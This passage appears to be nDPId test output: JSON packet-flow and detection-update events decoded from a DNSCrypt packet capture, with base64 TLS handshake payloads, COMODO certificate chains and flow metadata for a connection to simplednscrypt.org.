QEFAAOCAQ8AMIIBCgKCAQEAjsICGeGgWaTrODWNLP0B0NNJwGTHC2IFRRY6qKDADAJ\/HczbxKFtdwOjD4b54wacPguBiptJG60DvvpL24wg7dXOXmWOPg2vTMKwt0VeUi803kgkZLRBrgCX975n3p7QeqdTgDt8rfWWVW+XRwp8hYsil42zhOCWV9BwGGCWj+4tB5OdobrK0c176cQqmighkU1vkk8lpfJ6Nd0m3Eal0KxZNYz\/TpFDUD9Zkx5sUSHuWBSr\/nVQeD5MsByGE\/prmLzgO5QehVLcA5MkGG7LJ1FF5nDeJUOkDeFKpe22fsjNbe4uHSdzXdxFMICq47JBC6+9RIfaueUbnX+u5YWCpQIDAQABo4IBZTCCAWEwHwYDVR0jBBgwFoAUu69+Aj36pvE8hI6t7jiY7NkyMtQwHQYDVR0OBBYEFJCvajqUWgvYkOoSVnPfQ7Q6KNrnMA4GA1UdDwEB\/wQEAwIBhjASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAbBgNVHSAEFDASMAYGBFUdIAAwCAYGZ4EMAQIBMEwGA1UdHwRFMEMwQaA\/oD2GO2h0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET1JTQUNlcnRpZmljYXRpb24="} +00415{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":576105,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPTBAAIAGMMHAqCunhncaGMRTAbtepcDahfgyx1AQAECEZwAA"} +02188{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":576592,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGvEtAADUG94eGdxoYwKgrpwG7xFOF+DLHXqXA2lAQAO0kNQAAQXV0aG9yaXR5LmNybDBxBggrBgEFBQcBAQRlMGMwOwYIKwYBBQUHMAKGL2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL0NPTU9ET1JTQUFkZFRydXN0Q0EuY3J0MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5jb21vZG9jYS5jb20wDQYJKoZIhvcNAQEMBQADggIBAE4rdk+SHGI2ibp3wScF9BzWRJ2pmj6q1WZmAT7qSeaiNbz69t2Vjpk1mA42GHWx3d1Qcnyu3HeIzg\/3kCDKo2cuH1Z\/e+FE6kKVxF0NAVBGFfKBiVlsit2M8RKhjTpCipj4SzR7JzsItG8kO3KdY3RYPBpsP0\/HEZrIqPW1N+8QRcZs2eBelSaz662jue5\/DJpmNXMyYE7l3YphLG5SEXdoltMYdVEVABt0iN3hxzgEQyjpFv3ZBdRdRydg1vs4O2xyopT4Qhrf7W8GjEXCBgCq5Ojc2bXhc3js9iPc0d1sjhqPpepUfJa3w\/5Vjo1JXvxku88+vZbrac2\/4EjxYoIQ5QxGV\/Iz2tDIY+3GH5QFlkoakdH368+PUq4NCNk+qKBR6cGHdNXJ93SrLlP7u3r7l+L4HyaPs9Kg4DdbKDsx5Q5XLVq4rXmsXiBmGqW5prU5wfWYQ\/\/u+aen\/e7KJD2AFsQXj4rBYKEMrltDR5FL1ZoXX\/nUh8HCjLfn4g8wGTeGrODcQgPmlKidrv0PJFGUzpII0fxQ8ANAe4hZ7Q7drNJ3gjTcBpUC2JD5Leo31Rpg0Gcg19hCC0Wvgmje3WYkN5AplBlGGSW4gNfL1IYoakRwJiNiqZ+Gb7+6kHDSVneFeO\/qJakXzlByjAA6quPbYzSf+AZxAeKCINT+b72xAAV4MIIFdDCCBFygAwIBAgIQJ2buVutJ846r13Ci\/ITeIjANBgkqhkiG9w0BAQwFADBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFowgYUxCzAJBgNVBAYTAkdCMRswGQYDVQQIExJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcTB1NhbGZvcmQxGjAYBgNVBAoTEUNPTU9ETyBDQSBMaW1pdGVkMSswKQYDVQQDEyJDT01PRE8gUlNBIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAkehUktIKVrGsDSTdxc9EZ3SZKzejfSNwAHG8U9\/E+ioSj0t\/EFa9n3Byt2F\/yUsPF6c947AEYe7\/EZfH9IY+Cvo+XPmT5jR62RRr55yzhaCCenavcZDX7P0N+pxs+t+wgvQUfvm+xKYvT3+Zf7X8Z0NyvQwA1onrayzT7Y+YHBSrfuXjbvzYqOSSJNpDa2K4Vf3qwbxstovzDo2a5JtsaZn4eEgwRdWt4Q08RWD8MpZRJ7xnw8outmvqRsfHIKCxH2XeSAi6pE6p8oNGN4Tr6MyBSENnTnIqm1y9TBsoilwie7SrmNnu4FGDwwlGTm0+mfqVF9p8M1dBPI1R7Qu2XK8sYxrfV8g\/vOldxJuvRZnio1oktLqpVj3Pb6r\/SVg="} +02185{"flow_id":4,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":576593,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGvExAADUG94aGdxoYwKgrpwG7xFOF+DflXqXA2lAQAO0WkQAAvvCo\/\/S4rek3+7q49As6+ehDQh6J2ITLE\/HZu+GJYLiMKFasFB2cCudx688O3T2plqFIvTz3r7UNIkzAEYHsVjv206LiW7eyBCJSlYCTaeiOTGXxkQMtcHQC6otnFSlpUgK7199QalVGv6CjKGF\/cNDDoqosIapHziicBkV2v4IYJ7TVrrTLUOZr9EyGcTDppt8WhuDY\/0Dd+9BCiH+jMzouXB5BEYFjzhhxayvspoq3MVw6akfgw3lZ1iAar\/JqmKpyvFdK0kuduxD8sExB5e0dPV4onZzMv7NR2qdH5YRTAgMBAAGjgfQwgfEwHwYDVR0jBBgwFoAUrb2YejS0Jvf6xCZU7wO94CTLVBowHQYDVR0OBBYEFLuvfgI9+qbxPISOre44mOzZMjLUMA4GA1UdDwEB\/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH\/MBEGA1UdIAQKMAgwBgYEVR0gADBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vQWRkVHJ1c3RFeHRlcm5hbENBUm9vdC5jcmwwNQYIKwYBBQUHAQEEKTAnMCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC51c2VydHJ1c3QuY29tMA0GCSqGSIb3DQEBDAUAA4IBAQBkv4PxX5qF0M24oSlXDeha99HpPvJ2BG7xUnC7Hjz\/TQ10asyBgiXTw6AqXUz1uouhbcRUCXXH4ycOXYR5N0ATd\/W0rBzQO6sXEtbvNBh+K+l506tXRQyvKPrQ2+VQlYi734VXaX2S2FLKc4G\/HPPmuG5mEQWzHpQtf5GVklnxTM6jkXFMfEcMOwsZ9qGxbIY+XKrELoLL+QeWukhNkPKUyKlzousGeyOd3qLzTVWfemFFmBhox15AayP1eXrvjLVri7dvRvR78T1LBNiTgFla4EEkHbKPFWBYR9vvbkb9FfXZX5qz29i45ECzzZc5roW7HY683Ieb0abv8TtvEDhvAAQ6MIIENjCCAx6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290MB4XDTAwMDUzMDEwNDgzOFoXDTIwMDUzMDEwNDgzOFowbzELMAkGA1UEBhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRUcnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALf3GjPm8gAELTngTlvtH7xsD821+iO2zt6bETOXpClMfZOfvUq8k+0DGuOPz+VtUFrWlymUWoCwSXrbLpX9uMq\/NzgtHj6RQa1wVsfwTz\/oMp50ysiQVOnGXw94nZpAPA6sYapeFI+eh6FqUNzXmk6vBbOmcZSccbNQYArHE504B4YCqOmoaSYYkKtMsE8jqzpPhNjfzp\/haW+710LXa0Tkx63ubUFfclpxCDezeWWkWaCUN\/cALw3CknLa0Dhy2xSoRcRdKn23tNbE7qzNE0S3ySvdQwAl+mG5aWpYIxG3pzOPVnVZ9c0="} +00416{"flow_id":4,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":576695,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPTFAAIAGMMDAqCunhncaGMRTAbtepcDahfg9A1AQAEB6KwAA"} +02185{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":577890,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGvE1AADUG94WGdxoYwKgrpwG7xFOF+D0DXqXA2lAQAO2hbAAAKddGtworZbbTQm8Vsrh7++\/pXVPVNFonAgMBAAGjgdwwgdkwHQYDVR0OBBYEFK29mHo0tCb3+sQmVO8DveAky1QaMAsGA1UdDwQEAwIBBjAPBgNVHRMBAf8EBTADAQH\/MIGZBgNVHSMEgZEwgY6AFK29mHo0tCb3+sQmVO8DveAky1QaoXOkcTBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290ggEBMA0GCSqGSIb3DQEBBQUAA4IBAQCwm+CFJcLWI+IPlgaSnUGYnNmEeYHZHlsUByM2ZY+w2He7rEFsR2CDUbD5Mj3n\/PYmE8eAFqW\/WvyHz3h5iSGa4kwHCoY1vPLeUcTSlrfcfk7ucP0cOesMAlEULY69FuDB30Z15ySt7PRCtIWTcBBnup0GNUoY0yt6zFFCoXpj0ea7ocUrwja+Ew3mvWN+eXunCQ1Aq2rdj4rD9vaMGkIFUdRF9Z+nYiFoFSBDPJnnfL0k2KmRF3OIP1YbMTgYtHEPms3IDp6OLhvhjJiDyx8x8URMxgRzSXZgD8f4vReAay7pzEwOWpp5DyAKLtWeYyYeVZKU2IIXWnvQvMePToYEFgMDAeAWAAHcAQAB2DCCAdQKAQCgggHNMIIByQYJKwYBBQUHMAEBBIIBujCCAbYwgZ+iFgQUkK9qOpRaC9iQ6hJWc99DtDoo2ucYDzIwMTcwNDA5MDQwMjQwWjB0MHIwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy+emBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQCCr5kvWgaS4\/6x6rGelVcqgAAYDzIwMTcwNDA5MDQwMjQwWqARGA8yMDE3MDQxNjA0MDI0MFowDQYJKoZIhvcNAQELBQADggEBAH+wfpp+5LlkCRisx4nBj3QUHeouZckpEuXuzNLrHapMTI2irFC1B8nhS8VqiSEhU80d87eufNjS9ja4P3y\/9Gf1mDgVmwelWuNUfTDa0fIOG+Iok+qRyzywOVh+bLzrVJ1TmjtXTZD42IWFcGqgYx7yUytRrBy8tsK+7tvF\/TdoJvdyDca\/zwlZABw6+foldVCqO5dRcQIV1cOsQ1EYCUZmHJPpUe2sxVE3cuvAzL9LySGo9pync+JfJU2vw8JdwOcokNSprDor2Fq2Lrm0a1PkUH6nOdzaMWMf+cM8JLhskYX9lg8v9hKrHYKQkVmkHpKCAtg4IbjOmYaD7pVy9OUWAwMCTQwAAkkDABdBBCc8hf9vE2wZwrQnXu9YH+lRMUNRSLgJU8KHHrKTvfXna2Y4by1Lls1iB8\/WNqhdR+rdUUd0AgB+00cm261o1TgGAQIAQyzFpmcfP1MnDH5qpcaD9K8mug\/oateQWX23GjbQ2EqxbYJUXZzx42vCql1QVtN3ydUt9NLSmtyQFakIlrTTqfd1sMQ0p4PUFBlaykzLol4lEM\/foAJ1ypoc0kphEASKw7dSKE46k1cWWf0Kr7Vc14fRfQ66O3Xak0CwI6W5ewD\/ahs\/I0OrD6KCKuLSgyG39Uucn\/dNBeTexQbNk0R721qVnEc08qax8lakfFsM7kf+0+2nGlp0a+4e\/Tbc87+QqcGEa10UVJgFZNmojtYUAd2A0bjFqDo="} +01130{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":59,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":12,"flow_first_seen":1491813286393,"flow_last_seen":1491813286577,"flow_tot_l4_data_len":7024,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1330,"flow_avg_l4_data_len":585,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50259,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DNScrypt","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"simplednscrypt.org","server_names":"simplednscrypt.org,www.simplednscrypt.org","ja3":"83e04bc58d402f9633983cbf22724b02","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server CA","issuerDN":"OU=Domain Control Validated, OU=PositiveSSL, CN=simplednscrypt.org","alpn":"h2,http\/1.1","fingerprint":"3E:20:0F:BF:AD:D8:5C:A1:A1:1B:E5:B2:A7:D4:68:E2:6A:DB:01:41"}} +00834{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":577893,"pkt_caplen":360,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":360,"pkt_l4_len":326,"pkt":"pDTZFrEGuFpz9d6dCABFAAFavE5AADUG+3CGdxoYwKgrpwG7xFOF+EIhXqXA2lAYAO1VyQAAgfDgysVfPEvmt5Z9dTAzetcvPVa35+oZfQL6WY0Ay7\/SLRbZjQkIzELPhiW\/jQuAta0gRp95uN6eScNGa9U+1+0LcjCHLosA2x+QmQYF8egmyHJlZdJk\/Sgu9KwWjD7uvcr4eSFqJqFqmIts60wVW9\/jpZRmS1gbKvtL\/bHcpM+OE649K\/TgaB7ykLDJwPfp2FcqRMwnYdMCBQtedbCWlaKNpjOM4uWjHkUSJakrdi+JOOcSzf109Ki9FDf2NjuZuEPzkwTfVr7bTmmg7XF\/AO5eC0C8zsIrmetOXUeuCms8RO3U2vi053XW6u314+lb0XlAHaK4816yG097CtxEzbROdp7gvCSlPMKquzXjsj7b8hSNxzDXbRLqJCPRPwyrlJuSOBZx+q8QFgMDAAQOAAAA"} +00417{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":577894,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"pDTZFrEGuFpz9d6dCABFAAAoyxFAADMG79+GdxoYwKgrpwG7xE3jDV\/YWG\/ZrlAQAO3m+wAA"} +00417{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":578248,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPTJAAIAGML\/AqCunhncaGMRTAbtepcDahfhDU1AQAEBz2wAA"} +00587{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":581502,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"uFpz9d6dpDTZFrEGCABFAACmPTNAAIAGMEDAqCunhncaGMRTAbtepcDahfhDU1AYAEC7GAAAFgMDAEYQAABCQQRW0lV6McmTUT8JY9gbBLSM5KYf2JZG113UuVep5lsaZ+vaAaBxlB4uxo3rOimT2gVpPyUiEaINLq9dzSN1ucsqFAMDAAEBFgMDACgAAAAAAAAAADO6WjRkHVs5dxlyRfEYMkuQgMxWA5hhAVoDLVBE0snP"} +02183{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":586517,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGyxJAADMG6sCGdxoYwKgrpwG7xE3jDV\/YWG\/ZrlAQAO1XTAAAFgMDAE4CAABKAwP8wAzvKk5HUlNo3C2nCdDWJUj9FJTpDUdpGrUZtmUKOQDALwAAIgAAAAD\/AQABAAALAAQDAAECACMAAAAFAAAAEAAFAAMCaDIWAwMWMAsAFiwAFikABl8wggZbMIIFQ6ADAgECAhEAgq+ZL1oGkuP+seqxnpVXKjANBgkqhkiG9w0BAQsFADCBkDELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxNjA0BgNVBAMTLUNPTU9ETyBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQTAeFw0xNTA5MjEwMDAwMDBaFw0xNzA5MjAyMzU5NTlaMFYxITAfBgNVBAsTGERvbWFpbiBDb250cm9sIFZhbGlkYXRlZDEUMBIGA1UECxMLUG9zaXRpdmVTU0wxGzAZBgNVBAMTEnNpbXBsZWRuc2NyeXB0Lm9yZzCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMckfBBUAmrlLg9wkJ4soZKlNIQMjAggQKzmCAoclNmR68JK3M4fLIkZ2yXTonlITBB6lnVMoAEZBMpbwABFaHlvwXOygaKXWMqPrv9P2mABRSsrUM48enZZksNWv7PgLoxCuUq5dQBTVQR\/+by4tusvjA8jLniSGAuRogCoK4+Bry\/K+xZLe6ieKZUbVIlNqwdFGVmi1s5OLasHEUqX3u10wEovTkqy0XKLeRMURdWGGIngZ4B1kBCB2d1U+m0gFZYxmqr1P6dc7K8OEI3dM3DbamnJnsXBJbGEaumQnAruKpEh9F42Ex5kUzE0\/0+ZFnaBZZ5GElTxAukaT6e5cC9AjTkUNuhSiVZmYI3UO5kBtvx+puTX6r6HSCENTo8ysIVAw1KYMcNaU8lYpu8keEp0LYAErZzfAYqii7LXakRuY38nE81YesDT6mZZ1Ly9tnGg4M6ODkxJdz5DZmROa7jf8FmEtCAEowI5vLVOllOfnWanbpE2+EvTbRRy\/fzHdxKqlCdny547wJVtRBzRfgbpneL2Rl4XMDk+eO9+SRc9ZBEO+\/Bmiz9V5vnn8ZVeKQPUGyXFzUb00uH1IfaZcPPWqJSewYGBo2cK\/Vkdgwr65W8qBkCn5miAkFskh\/VXELFsO4eP9lILEVHFXkRsG\/flpdUix7ZBlvkKZSSaYW8VAgMBAAGjggHnMIIB4zAfBgNVHSMEGDAWgBSQr2o6lFoL2JDqElZz30O0Oija5zAdBgNVHQ4EFgQUriOphLhNie\/nS04PS4s1uALDpQswDgYDVR0PAQH\/BAQDAgWgMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCME8GA1UdIARIMEYwOgYLKwYBBAGyMQECAgcwKzApBggrBgEFBQcCARYdaHR0cHM6Ly9zZWN1cmUuY29tb2RvLmNvbS9DUFMwCAYGZ4EMAQIBMFQGA1UdHwRNMEswSaBHoEWGQ2h0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcmwwgYUGCCsGAQUFBwEBBHkwdzBPBggrBgEFBQcwAoZDaHR0cDovL2NydC5jb21vZG8="} +00782{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":67,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1491813286275,"flow_last_seen":1491813286586,"flow_tot_l4_data_len":1664,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1330,"flow_avg_l4_data_len":277,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50253,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"simplednscrypt.org","ja3":"83e04bc58d402f9633983cbf22724b02","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02181{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":587580,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGyxNAADMG6r+GdxoYwKgrpwG7xE3jDWT2WG\/ZrlAQAO05LQAAY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmNvbW9kb2NhLmNvbTA1BgNVHREELjAsghJzaW1wbGVkbnNjcnlwdC5vcmeCFnd3dy5zaW1wbGVkbnNjcnlwdC5vcmcwDQYJKoZIhvcNAQELBQADggEBAEYKh0V6lmCDQfNwo5jPTcH6S9OBZ3Moyfar6ls8iUE8tp\/LzNzBmFb+TXq8npQywPd6U9lqAmXSoJhyb0dfYBhHNVbsB3cQ14vBgqNMJM5m+cWeyf\/JuPZZFBypV6qfp0R+3wJrnwK6f10riZMvAxtVsnZgneHQr4eFFSBfHM1MTPMjofv5JIYhc6+CAaCp2NcOqOsu4Y40YpTUMbkYOxaWUTkMOAgJXGhWVj4TdHMrScYZuPI2D+FcmknNKB4k7q+xxdQ\/8Z1BFGci4Yasa8VEmFoacSHLZ3plleYor63ehrG6hIIT\/HsaYVTaC23y2ysidaPGKG3OrI5uVNMugsgABgwwggYIMIID8KADAgECAhArLm7q2XU2bBSKbtujfIwHMA0GCSqGSIb3DQEBDAUAMIGFMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDErMCkGA1UEAxMiQ09NT0RPIFJTQSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAyMTIwMDAwMDBaFw0yOTAyMTEyMzU5NTlaMIGQMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDE2MDQGA1UEAxMtQ09NT0RPIFJTQSBEb21haW4gVmFsaWRhdGlvbiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAjsICGeGgWaTrODWNLP0B0NNJwGTHC2IFRRY6qKDADAJ\/HczbxKFtdwOjD4b54wacPguBiptJG60DvvpL24wg7dXOXmWOPg2vTMKwt0VeUi803kgkZLRBrgCX975n3p7QeqdTgDt8rfWWVW+XRwp8hYsil42zhOCWV9BwGGCWj+4tB5OdobrK0c176cQqmighkU1vkk8lpfJ6Nd0m3Eal0KxZNYz\/TpFDUD9Zkx5sUSHuWBSr\/nVQeD5MsByGE\/prmLzgO5QehVLcA5MkGG7LJ1FF5nDeJUOkDeFKpe22fsjNbe4uHSdzXdxFMICq47JBC6+9RIfaueUbnX+u5YWCpQIDAQABo4IBZTCCAWEwHwYDVR0jBBgwFoAUu69+Aj36pvE8hI6t7jiY7NkyMtQwHQYDVR0OBBYEFJCvajqUWgvYkOoSVnPfQ7Q6KNrnMA4GA1UdDwEB\/wQEAwIBhjASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAbBgNVHSAEFDASMAYGBFUdIAAwCAYGZ4EMAQIBMEwGA1UdHwRFMEMwQaA\/oD2GO2h0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET1JTQUNlcnRpZmljYXRpb24="} +02189{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":587582,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGyxRAADMG6r6GdxoYwKgrpwG7xE3jDWoUWG\/ZrlAQAO19OgAAQXV0aG9yaXR5LmNybDBxBggrBgEFBQcBAQRlMGMwOwYIKwYBBQUHMAKGL2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL0NPTU9ET1JTQUFkZFRydXN0Q0EuY3J0MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5jb21vZG9jYS5jb20wDQYJKoZIhvcNAQEMBQADggIBAE4rdk+SHGI2ibp3wScF9BzWRJ2pmj6q1WZmAT7qSeaiNbz69t2Vjpk1mA42GHWx3d1Qcnyu3HeIzg\/3kCDKo2cuH1Z\/e+FE6kKVxF0NAVBGFfKBiVlsit2M8RKhjTpCipj4SzR7JzsItG8kO3KdY3RYPBpsP0\/HEZrIqPW1N+8QRcZs2eBelSaz662jue5\/DJpmNXMyYE7l3YphLG5SEXdoltMYdVEVABt0iN3hxzgEQyjpFv3ZBdRdRydg1vs4O2xyopT4Qhrf7W8GjEXCBgCq5Ojc2bXhc3js9iPc0d1sjhqPpepUfJa3w\/5Vjo1JXvxku88+vZbrac2\/4EjxYoIQ5QxGV\/Iz2tDIY+3GH5QFlkoakdH368+PUq4NCNk+qKBR6cGHdNXJ93SrLlP7u3r7l+L4HyaPs9Kg4DdbKDsx5Q5XLVq4rXmsXiBmGqW5prU5wfWYQ\/\/u+aen\/e7KJD2AFsQXj4rBYKEMrltDR5FL1ZoXX\/nUh8HCjLfn4g8wGTeGrODcQgPmlKidrv0PJFGUzpII0fxQ8ANAe4hZ7Q7drNJ3gjTcBpUC2JD5Leo31Rpg0Gcg19hCC0Wvgmje3WYkN5AplBlGGSW4gNfL1IYoakRwJiNiqZ+Gb7+6kHDSVneFeO\/qJakXzlByjAA6quPbYzSf+AZxAeKCINT+b72xAAV4MIIFdDCCBFygAwIBAgIQJ2buVutJ846r13Ci\/ITeIjANBgkqhkiG9w0BAQwFADBvMQsw